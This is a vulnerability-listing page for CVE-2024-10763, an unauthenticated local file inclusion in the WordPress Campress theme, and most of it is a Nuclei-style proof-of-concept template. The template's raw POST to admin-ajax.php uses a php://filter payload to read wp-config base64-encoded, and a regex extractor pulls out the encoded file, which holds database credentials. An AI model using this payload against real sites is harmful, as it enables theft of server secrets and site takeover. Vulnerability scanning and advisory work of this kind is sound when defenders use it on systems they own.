CVE-2024-10763: WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion

2026-05-14 WordPress Campress Theme PoC Public

Description

Campress theme for WordPress up to 1.35 contains a local file inclusion caused by 'campress_woocommerce_get_ajax_products' function, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.

PoC

id: CVE-2024-10763

info:
  name: WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    Campress theme for WordPress up to 1.35 contains a local file inclusion caused by 'campress_woocommerce_get_ajax_products' function, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
  impact: |
    Attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full server compromise.
  remediation:
    Update to the latest version beyond 1.35.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/campress/campress-135-unauthenticated-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10763
    epss-score: 0.03655
    epss-percentile: 0.89038
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp-theme,campress,lfi,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=campress_woocommerce_get_ajax_products&layout=php://filter/convert.base64-encode/resource=/var/www/html/wp-config

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ZGVmaW5l"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '[A-Za-z0-9+/]{50,}={0,2}'
# digest: 4a0a00473045022004fca5e14c59c26814d74640541777ec38b401b7988a3c5faea14fb3f17085ce022100904a3c9f94ac74e15d15422a8c74052e6f4eee3cd78f680d07ae3e9a481c0234:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities